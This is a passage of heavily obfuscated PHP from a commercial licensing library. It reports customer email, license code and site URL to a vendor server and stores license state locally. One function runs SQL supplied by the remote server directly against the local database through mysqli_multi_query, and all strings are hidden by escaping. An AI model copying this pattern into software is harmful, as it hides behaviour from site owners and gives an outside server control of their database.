$notifications_array["\x6e\157\164\151\146\x69\143\141\164\151\x6f\x6e\137\x63\141\x73\x65"] = "\x6e\157\164\151\x66\151\143\141\x74\151\157\156\x5f\x6e\157\x5f\143\157\x6e\156\x65\x63\x74\151\x6f\x6e";
$notifications_array["\x6e\157\x74\151\x66\x69\143\x61\x74\x69\x6f\156\x5f\x74\x65\x78\164"] = APL_NOTIFICATION_NO_CONNECTION;
goto E0Aj1;
op_aD:
if (!($content_array["\x62\x6f\x64\x79"] != "\x3c\x76\x65\162\151\146\171\137\145\156\166\141\164\x6f\x5f\160\165\x72\143\x68\141\x73\x65\x3e\117\x4b\74\x2f\166\x65\162\x69\x66\171\137\145\156\166\x61\164\157\x5f\x70\165\162\143\150\141\163\145\x3e")) {
goto A61sP;
}
$notifications_array["\156\157\164\151\146\151\143\x61\164\x69\157\x6e\137\x63\141\x73\145"] = "\x6e\157\164\x69\x66\151\143\141\x74\x69\157\x6e\x5f\151\156\x76\x61\x6c\151\x64\x5f\x72\x65\x73\x70\157\x6e\163\x65";
$notifications_array["\156\x6f\164\151\x66\x69\143\141\164\x69\157\x6e\x5f\x74\145\x78\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
A61sP: E0Aj1:
return $notifications_array;
}
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto WeJEx;
}
$notifications_array["\156\157\x74\x69\x66\x69\143\141\x74\x69\x6f\156\137\x63\141\163\x65"] = "\156\x6f\164\x69\x66\x69\143\x61\164\151\x6f\x6e\x5f\163\143\162\x69\x70\x74\137\x63\157\162\162\165\x70\x74\145\144";
$notifications_array["\x6e\157\164\x69\146\151\x63\141\x74\151\x6f\156\137\x74\x65\170\164"] = implode("\73\40", $apl_core_notifications);
goto jexqj;
WeJEx:
if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) {
goto mMb9_;
}
$INSTALLATION_HASH = hash("\163\150\141\62\x35\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "\x70\162\x6f\144\165\143\x74\x5f\x69\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\154\x69\x65\x6e\x74\x5f\145\155\x61\x69\154\75" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\143\145\156\163\145\137\x63\157\144\145\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\x6f\164\137\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\151\156\x73\164\141\154\154\x61\x74\x69\157\156\x5f\x68\x61\163\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\x63\145\156\x73\145\137\163\x69\x67\x6e\141\164\165\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\57\141\160\154\137\143\141\x6c\x6c\142\x61\x63\x6b\x73\57\x6c\x69\143\145\156\163\145\x5f\x69\x6e\163\164\x61\x6c\154\x2e\x70\150\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\156\157\x74\x69\x66\x69\143\141\x74\151\x6f\x6e\x5f\143\x61\163\145"] == "\x6e\x6f\x74\151\x66\151\x63\141\x74\151\157\x6e\x5f\154\x69\143\145\x6e\163\145\137\x6f\x6b")) {
goto kQ9VA;
}
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\x2d\155\x2d\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt(date("\x59\x2d\155\x2d\144", strtotime("\x2d" . APL_DAYS . "\x20\144\141\x79\163")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("\x59\x2d\x6d\55\144"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "\104\x41\124\x41\x42\101\x53\x45")) {
goto tC_ml;
}
$content_array = aplCustomPost(APL_ROOT_URL . "\57\141\x70\x6c\137\x63\141\154\x6c\142\141\143\x6b\x73\x2f\x6c\151\x63\145\x6e\x73\x65\137\163\x63\150\x65\155\x65\56\x70\x68\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!(!empty($notifications_array["\156\157\x74\x69\146\151\x63\x61\x74\x69\157\x6e\137\x64\x61\164\x61"]) && !empty($notifications_array["\156\x6f\x74\x69\x66\x69\x63\x61\164\x69\x6f\x6e\137\144\141\x74\x61"]["\x73\x63\150\145\x6d\145\137\161\x75\145\x72\171"]))) {
goto jTPya;
}
$mysql_bad_array = array("\45\x41\x50\114\137\x44\101\124\x41\x42\101\x53\105\137\124\101\x42\x4c\x45\45", "\x25\122\x4f\117\124\137\x55\122\x4c\x25", "\x25\x43\114\x49\105\x4e\x54\137\x45\x4d\x41\111\x4c\45", "\45\114\111\103\105\116\x53\105\x5f\103\x4f\104\x45\x25", "\x25\114\x43\104\x25", "\x25\114\122\x44\x25", "\x25\x49\116\x53\124\x41\114\x4c\x41\124\111\x4f\x4e\137\113\x45\x59\45", "\45\x49\x4e\x53\x54\x41\114\x4c\101\124\111\117\116\137\x48\101\x53\110\45");
$mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
$license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["\156\157\164\x69\146\151\x63\141\164\x69\157\x6e\137\144\x61\x74\141"]["\163\143\x68\x65\x6d\145\137\x71\x75\x65\x72\x79"]);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
jTPya: tC_ml:
if (!(APL_STORAGE == "\106\111\114\x45")) {
goto hx2hn;
}
$handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\x2b");
$fwrite = @fwrite($handle, "\74\x52\x4f\117\x54\137\x55\122\114\x3e{$ROOT_URL}\74\x2f\x52\x4f\117\x54\x5f\125\x52\114\x3e\x3c\x43\x4c\111\x45\x4e\x54\x5f\105\x4d\x41\111\114\76{$CLIENT_EMAIL}\x3c\57\x43\114\x49\x45\116\x54\x5f\105\x4d\x41\111\x4c\x3e\x3c\x4c\x49\x43\105\116\x53\105\x5f\x43\117\x44\105\x3e{$LICENSE_CODE}\x3c\x2f\114\x49\x43\105\x4e\x53\105\x5f\103\117\x44\x45\x3e\74\x4c\x43\x44\76{$LCD}\74\57\114\103\104\76\x3c\x4c\x52\x44\76{$LRD}\74\x2f\x4c\122\104\76\x3c\x49\x4e\x53\124\101\x4c\x4c\101\124\111\x4f\116\x5f\113\105\131\76{$INSTALLATION_KEY}\74\57\111\x4e\123\x54\x41\x4c\x4c\x41\x54\x49\x4f\116\137\113\x45\x59\x3e\x3c\x49\x4e\x53\124\x41\114\x4c\101\124\x49\117\x4e\x5f\110\101\123\x48\76{$INSTALLATION_HASH}\x3c\x2f\x49\x4e\x53\124\x41\114\114\x41\x54\111\117\116\137\110\x41\123\110\x3e");
if (!($fwrite === false)) {
goto VLhEm;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
VLhEm:
@fclose($handle);
hx2hn: kQ9VA:
goto A9jEj;
mMb9_:
$notifications_array["\x6e\x6f\164\x69\146\x69\143\141\x74\151\x6f\x6e\x5f\x63\x61\163\145"] = "\156\x6f\164\151\146\x69\x63\x61\164\151\157\x6e\137\x61\x6c\x72\145\x61\x64\171\x5f\x69\x6e\163\x74\141\154\x6c\x65\144";
$notifications_array["\156\x6f\x74\151\146\151\x63\141\164\x69\x6f\156\137\164\145\x78\x74"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
A9jEj: jexqj:
return $notifications_array;
}
function preparePackageInstallation($installable)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (!empty($apl_core_notifications)) {
goto W4nHY;
}
$MYSQLI_LINK = getMysqliConnection();
$core_license = aplGetLicenseData($MYSQLI_LINK);
if (!(empty($core_license) || !is_array($core_license))) {
goto rm0IT;
}
throw new \Exception("\x43\x6f\x72\145\x20\x73\143\162\x69\x70\x74\x20\x6c\151\x63\x65\x6e\x73\x65\x20" . "\166\141\x6c\151\144\x61\x74\x69\157\x6e" . "\x20\146\141\151\x6c\145\144\41\40\x50\154\145\141\163\145\x20\x63\x6f\x6e\x74\x61\x63\164" . "\x20\x73\x75\x70\160\157\x72\164\x20\146\157\162\40\x68\145\154\x70\x2e");
rm0IT:
$CLIENT_EMAIL = $core_license["\x43\114\111\105\116\x54\x5f\x45\115\x41\111\114"];
$LICENSE_CODE = $installable["\x6c\x69\x63\x65\x6e\x73\145\x5f\153\145\171"];
$ROOT_URL = config("\x61\x70\x70\56\165\x72\x6c");
$INSTALLATION_HASH = hash("\163\x68\141\x32\x35\x36", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "\x70\x72\x6f\x64\165\143\164\x5f\x69\x64\x3d" . rawurlencode($installable["\x69\144"]) . "\46\x63\154\x69\145\x6e\164\137\x65\x6d\141\x69\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\143\145\x6e\163\x65\137\143\157\x64\145\x3d" . rawurlencode($LICENSE_CODE) . "\46\x72\157\157\164\x5f\x75\162\x6c\x3d" . rawurlencode($ROOT_URL) . "\x26\x69\x6e\x73\164\141\x6c\154\x61\164\151\x6f\x6e\x5f\x68\x61\163\x68\75" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\143\145\x6e\x73\145\x5f\163\151\x67\x6e\141\x74\165\x72\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\151\x64"]));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\x6c\x5f\143\141\154\154\x62\x61\143\153\x73\x2f\x6c\x69\143\145\x6e\163\x65\137\151\156\x73\164\x61\154\154\x2e\160\x68\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\x69\x64"]);
if ($notifications_array["\x6e\157\x74\151\x66\151\x63\x61\164\151\x6f\156\x5f\143\x61\163\145"] == "\156\157\x74\x69\x66\x69\143\x61\164\151\157\x6e\137\x6c\x69\x63\x65\156\163\145\x5f\x6f\x6b") {
goto XkdB7;
}
if (empty($notifications_array["\156\x6f\164\x69\146\151\143\x61\164\x69\157\x6e\x5f\164\145\170\x74"])) {
goto hb8X3;
}
throw new \Exception("\x4c\151\143\145\x6e\163\145\40" . "\x76\x61\154\x69\x64\x61\x74\151\x6f\x6e" . "\x20\146\141\x69\154\145\144\41\x20" . $notifications_array["\156\x6f\x74\151\x66\151\x63\x61\164\151\157\x6e\x5f\164\145\x78\164"]);
hb8X3:
goto O7bkd;
XkdB7:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\131\x2d\155\55\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt(date("\131\55\x6d\x2d\144", strtotime("\x2d" . APL_DAYS . "\40\x64\x61\171\163")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("\131\x2d\155\x2d\144"), APL_SALT . $INSTALLATION_KEY);
$content_array = aplCustomPost(APL_ROOT_URL . "\57\141\x70\154\137\143\x61\x6c\154\x62\x61\143\153\163\x2f\154\x69\x63\145\156\x73\x65\x5f\163\x63\150\145\x6d\x65\56\x70\150\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\x69\144"]);
if (!(!empty($notifications_array["\x6e\157\164\151\146\x69\x63\141\x74\x69\x6f\156\x5f\x64\x61\164\141"]) && !empty($notifications_array["\156\157\x74\151\x66\151\143\141\x74\x69\157\x6e\x5f\x64\141\164\x61"]["\163\143\150\145\x6d\145\137\x71\x75\x65\x72\171"]))) {
goto doUx3;
}
return ["\151\x6e\x73\x74\141\154\154\x61\164\x69\157\156\137\x6b\145\171" => $INSTALLATION_KEY, "\x69\156\x73\x74\141\154\x6c\x61\x74\x69\x6f\x6e\x5f\x68\141\163\150" => $INSTALLATION_HASH, "\x6c\143\144" => $LCD, "\x6c\162\144" => $LRD];
doUx3: O7bkd: W4nHY:
throw new \Exception("\114\x69\143\145\156\x73\145\40" . "\x76\x61\x6c\x69\x64\141\164\x69\x6f\156" . "\40\146\141\151\x6c\145\x64\41\40\120\x6c\145\141\163\x65\x20\x63\157\x6e\x74\x61\143\x74" . "\40\x73\x75\160\160\157\x72\164\x20\x66\157\162\40\150\145\x6c\x70\x2e");
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = array();
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto F5jZL;
}
$notifications_array["\x6e\157\x74\x69\146\x69\143\x61\164\x69\157\x6e\x5f\x63\x61\163\x65"] = "\156\x6f\164\x69\x66\151\x63\x61\164\151\157\x6e\x5f\163\x63\162\151\x70\164\137\143\157\x72\162\165\160\x74\x65\144";
$notifications_array["\156\x6f\164\151\146\x69\x63\141\x74\151\157\x6e\137\164\x65\170\x74"] = implode("\73\40", $apl_core_notifications);
goto RlofD;
F5jZL:
if (aplCheckData($MYSQLI_LINK)) {
goto PJ1D8;
}
$notifications_array["\156\x6f\164\x69\146\151\x63\x61\164\x69\157\156\x5f\143\141\163\145"] = "\156\157\x74\151\x66\x69\143\141\164\x69\157\156\137\x6c\151\143\145\156\163\x65\137\x63\157\162\x72\165\160\164\145\x64";
$notifications_array["\156\157\164\x69\x66\151\143\141\164\151\157\156\x5f\164\x65\x78\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto bCqPn;
PJ1D8:
extract(aplGetLicenseData($MYSQLI_LINK));
if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("\x59\55\155\55\144")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("\x59\55\x6d\x2d\144") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("\131\55\x6d\x2d\144") && $FORCE_VERIFICATION === 0) {
goto n268Y;
}
$post_info = "\160\162\x6f\144\x75\143\x74\137\151\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\x6c\151\x65\x6e\164\137\145\x6d\141\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\46\x6c\x69\x63\145\x6e\163\x65\137\143\157\x64\x65\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\157\164\137\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\x69\x6e\x73\x74\141\x6c\x6c\x61\x74\x69\157\156\137\150\141\163\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\x6c\151\143\145\x6e\x73\145\x5f\163\151\x67\x6e\141\x74\x75\x72\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\154\137\143\141\x6c\x6c\x62\x61\143\153\x73\57\154\x69\x63\x65\x6e\x73\x65\x5f\x76\145\x72\151\146\x79\56\x70\150\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\x6e\157\x74\x69\x66\x69\x63\141\x74\151\157\x6e\137\143\x61\x73\x65"] == "\156\x6f\164\151\146\x69\143\x61\164\151\157\156\x5f\154\151\143\145\156\163\x65\x5f\x6f\x6b")) {
goto fltTs;
}
$update_lcd_value = 1;
fltTs:
if (!($notifications_array["\x6e\157\x74\151\x66\151\143\x61\x74\151\157\x6e\x5f\143\x61\x73\x65"] == "\x6e\x6f\164\x69\x66\x69\x63\x61\164\x69\x6f\156\137\154\151\x63\x65\156\x73\x65\x5f\x63\x61\x6e\x63\145\x6c\x6c\x65\144" && APL_DELETE_CANCELLED == "\x59\105\123")) {
goto XQZA0;
}
aplDeleteData($MYSQLI_LINK);
XQZA0:
goto oCRtN;
n268Y:
$notifications_array["\x6e\157\164\151\146\151\143\141\164\x69\157\156\137\x63\141\163\x65"] = "\x6e\157\x74\151\x66\x69\143\141\164\151\157\x6e\x5f\154\151\x63\145\x6e\x73\145\137\157\153";
$notifications_array["\156\157\164\x69\146\151\143\141\x74\151\157\x6e\137\x74\145\x78\x74"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
oCRtN:
if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("\x59\x2d\155\x2d\x64"))) {
goto li8F3;
}
$update_lrd_value = 1;
li8F3:
if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
goto xcI0Z;
}
if ($update_lcd_value == 1) {
goto HpZrT;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto vrwP1;
HpZrT:
$LCD = date("\x59\x2d\x6d\x2d\144");
vrwP1:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\x2d\x6d\55\x64"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("\x59\55\x6d\55\x64"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "\104\x41\x54\x41\102\101\123\x45")) {
goto xIiEw;
}
$stmt = mysqli_prepare($MYSQLI_LINK, "\125\120\104\x41\x54\x45\x20" . APL_DATABASE_TABLE . "\x20\123\105\x54\x20\114\x43\x44\75\77\54\x20\114\122\104\75\x3f\54\40\111\x4e\x53\124\101\114\x4c\x41\x54\111\x4f\x4e\x5f\x4b\105\x59\75\77");
if (!$stmt) {
goto FvvuO;
}
mysqli_stmt_bind_param($stmt, "\163\x73\163", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt);
$affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0)) {
goto eZU3k;
}
$updated_records = $updated_records + $affected_rows;
eZU3k:
mysqli_stmt_close($stmt);
FvvuO:
if (!($updated_records < 1)) {
goto QJfFZ;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit;
QJfFZ: xIiEw:
if (!(APL_STORAGE == "\106\x49\x4c\x45")) {
goto Ego4O;
}
$handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\53");
$fwrite = @fwrite($handle, "\x3c\122\117\117\124\x5f\x55\x52\x4c\x3e{$ROOT_URL}\x3c\x2f\x52\117\117\x54\x5f\x55\122\114\x3e\74\103\114\x49\105\116\x54\137\105\115\x41\x49\x4c\76{$CLIENT_EMAIL}\74\57\103\114\x49\x45\116\124\137\105\x4d\x41\x49\114\76\74\x4c\111\x43\x45\116\x53\x45\137\103\x4f\104\x45\76{$LICENSE_CODE}\x3c\x2f\x4c\x49\103\x45\x4e\123\x45\x5f\103\117\104\x45\76\74\114\x43\104\x3e{$LCD}\74\x2f\x4c\103\104\76\x3c\114\x52\104\x3e{$LRD}\74\57\114\122\x44\x3e\x3c\x49\116\123\x54\101\x4c\114\101\124\111\117\x4e\137\x4b\x45\x59\76{$INSTALLATION_KEY}\74\x2f\x49\116\x53\124\x41\x4c\x4c\x41\x54\x49\117\x4e\137\113\105\x59\x3e\x3c\111\x4e\123\x54\x41\x4c\114\x41\124\x49\117\x4e\x5f\x48\101\123\x48\76{$INSTALLATION_HASH}\74\57\111\x4e\123\124\x41\114\x4c\101\124\x49\x4f\116\137\x48\x41\x53\110\76");
if (!($fwrite === false)) {
goto H37Kq;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
H37Kq:
@fclose($handle);
Ego4O: xcI0Z: bCqPn: RlofD:
if (!($notifications_array["\156\157\164\x69\x66\x69\x63\141\x74\x69\x6f\x6e\x5f\x63\x61\163\x65"] != "\x6e\x6f\x74\151\146\x69\143\141\x74\x69\x6f\x6e\x5f\x6c\x69\143\x65\156\163\x65\x5f\x6f\x6b")) {
goto OEEhm;
}
echo "\x3c\142\162\x2f\76\74\142\162\x2f\76";
echo "\114\151\x63\145\x6e\163\145\40\x69\163\x20\156\x6f\x74" . "\x20\x69\x6e\163\164\141\154\154\145\x64\40\x79\x65\x74" . "\x20\x6f\162\40\x63\157\162\x72\x75\160\x74\x65\x64\x2e\x20\x50\154\145\141\163\145" . "\x20\x63\157\x6e\164\141\143\164" . "\x20\x73\x75\x70\160\157\x72\x74\40" . "\164\145\x61\x6d\40";
echo "\x20\74\x61\40\150\x72\145\146\x3d\42" . get_license_reset_url() . "\x22\x3e" . trans("\x61\x70\160\x2e\x75\160\144\x61\x74\145\x5f\141\x70\160\x5f\154\x69\x63\x65\x6e\x73\145") . "\74\x2f\x61\76";
exit;
OEEhm:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto Yxj33;
}
$notifications_array["\156\x6f\x74\x69\x66\x69\143\x61\x74\151\157\156\137\143\x61\x73\145"] = "\x6e\157\164\x69\x66\x69\x63\141\164\x69\157\156\x5f\x73\143\x72\x69\x70\x74\x5f\x63\157\162\x72\x75\160\164\x65\x64";
$notifications_array["\156\x6f\x74\151\x66\x69\x63\141\164\x69\x6f\156\x5f\x74\x65\x78\164"] = implode("\x3b\40", $apl_core_notifications);
goto PXnqV;
Yxj33:
if (aplCheckData($MYSQLI_LINK)) {
goto Rmw7h;
}
$notifications_array["\156\157\164\x69\x66\x69\143\141\x74\151\157\x6e\x5f\143\x61\x73\x65"] = "\x6e\157\164\151\146\151\x63\141\164\151\157\156\x5f\x6c\151\143\145\156\x73\x65\x5f\x63\x6f\162\x72\165\160\164\145\x64";
$notifications_array["\x6e\x6f\x74\x69\x66\x69\143\141\164\151\157\156\x5f\164\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto x070g;
Rmw7h:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\160\162\x6f\x64\165\x63\164\137\x69\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\46\x63\154\151\x65\156\164\x5f\145\x6d\x61\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\x26\x6c\x69\x63\145\156\163\145\x5f\143\157\x64\x65\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\157\x74\x5f\x75\162\154\x3d" . rawurlencode($ROOT_URL) . "\x26\x69\156\x73\x74\x61\x6c\154\x61\164\x69\157\x6e\x5f\150\x61\x73\150\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\x69\143\145\x6e\x73\145\x5f\x73\x69\x67\x6e\x61\x74\165\x72\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\154\x5f\143\x61\x6c\154\x62\x61\x63\153\163\57\154\x69\x63\145\156\x73\145\137\163\x75\160\x70\157\x72\164\56\x70\x68\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
x070g: PXnqV:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto i62QY;
}
$notifications_array["\156\157\x74\x69\146\x69\x63\x61\x74\151\157\x6e\137\143\141\163\145"] = "\x6e\x6f\164\151\x66\151\143\141\164\151\157\x6e\x5f\163\x63\x72\151\x70\164\137\143\157\162\162\165\x70\x74\x65\144";
$notifications_array["\x6e\x6f\164\x69\x66\x69\x63\141\x74\151\157\156\x5f\164\x65\x78\x74"] = implode("\x3b\40", $apl_core_notifications);
goto L3zCC;
i62QY:
if (aplCheckData($MYSQLI_LINK)) {
goto OC5ZU;
}
$notifications_array["\x6e\x6f\164\151\x66\x69\143\141\x74\x69\x6f\156\137\x63\x61\163\x65"] = "\156\x6f\x74\151\x66\151\x63\141\x74\151\x6f\156\137\154\151\143\145\156\163\x65\137\x63\157\x72\x72\x75\160\164\145\x64";
$notifications_array["\x6e\157\x74\151\146\x69\x63\x61\x74\151\157\x6e\x5f\x74\145\170\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto OJoa1;
OC5ZU:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\160\162\x6f\144\165\143\x74\x5f\x69\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\154\151\145\156\164\x5f\x65\155\x61\151\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\46\154\151\x63\x65\x6e\x73\145\x5f\143\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\157\164\x5f\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\151\x6e\163\x74\x61\x6c\x6c\141\x74\151\x6f\156\x5f\x68\141\x73\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\x69\143\145\x6e\163\x65\x5f\163\x69\147\156\141\x74\165\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\160\154\x5f\143\x61\x6c\154\x62\141\x63\x6b\163\57\x6c\x69\143\145\x6e\163\145\137\165\160\144\x61\x74\x65\163\56\160\x68\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
OJoa1: L3zCC:
return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto bLghH;
}
$notifications_array["\156\x6f\164\151\x66\x69\x63\141\x74\x69\157\156\x5f\x63\141\163\145"] = "\x6e\x6f\x74\151\146\151\143\141\164\151\x6f\156\x5f\163\143\x72\x69\160\164\x5f\x63\157\x72\x72\165\160\x74\x65\x64";
$notifications_array["\x6e\x6f\x74\151\x66\x69\143\141\x74\x69\x6f\x6e\x5f\164\x65\170\164"] = implode("\x3b\x20", $apl_core_notifications);
goto I569b;
bLghH:
if (aplCheckData($MYSQLI_LINK)) {
goto Jg5Ku;
}
$notifications_array["\156\157\164\x69\x66\151\x63\x61\164\x69\157\156\137\143\141\x73\x65"] = "\156\x6f\164\151\x66\x69\x63\x61\x74\x69\x6f\x6e\x5f\x6c\x69\x63\x65\x6e\163\x65\x5f\x63\x6f\x72\162\x75\160\x74\x65\x64";
$notifications_array["\156\157\x74\151\146\x69\x63\141\x74\x69\x6f\x6e\137\x74\x65\x78\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto Fuiu5;
Jg5Ku:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\160\162\157\144\x75\x63\x74\137\151\144\75" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6c\x69\x65\156\164\x5f\x65\x6d\x61\151\154\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\151\143\x65\156\x73\x65\137\x63\157\144\x65\75" . rawurlencode($LICENSE_CODE) . "\x26\x72\157\157\x74\x5f\x75\162\154\75" . rawurlencode($ROOT_URL) . "\46\151\x6e\x73\164\x61\x6c\x6c\141\x74\151\x6f\156\x5f\150\x61\x73\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\143\x65\156\163\x65\137\x73\x69\147\x6e\141\164\165\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\x6c\x5f\143\x61\x6c\x6c\142\x61\x63\153\x73\x2f\154\151\x63\145\156\x73\145\x5f\x75\x70\x64\141\x74\x65\56\x70\150\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
Fuiu5: I569b:
return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto SrSzX;
}
$notifications_array["\156\157\164\151\x66\x69\143\x61\164\x69\x6f\x6e\x5f\143\x61\163\x65"] = "\156\x6f\164\x69\146\151\x63\141\x74\151\x6f\x6e\x5f\163\x63\162\x69\160\164\137\x63\x6f\x72\162\x75\x70\x74\x65\144";
$notifications_array["\x6e\x6f\164\x69\146\151\x63\x61\x74\x69\157\156\137\164\x65\170\x74"] = implode("\73\x20", $apl_core_notifications);
goto DGoZ0;
SrSzX:
if (aplCheckData($MYSQLI_LINK)) {
goto lfRR3;
}
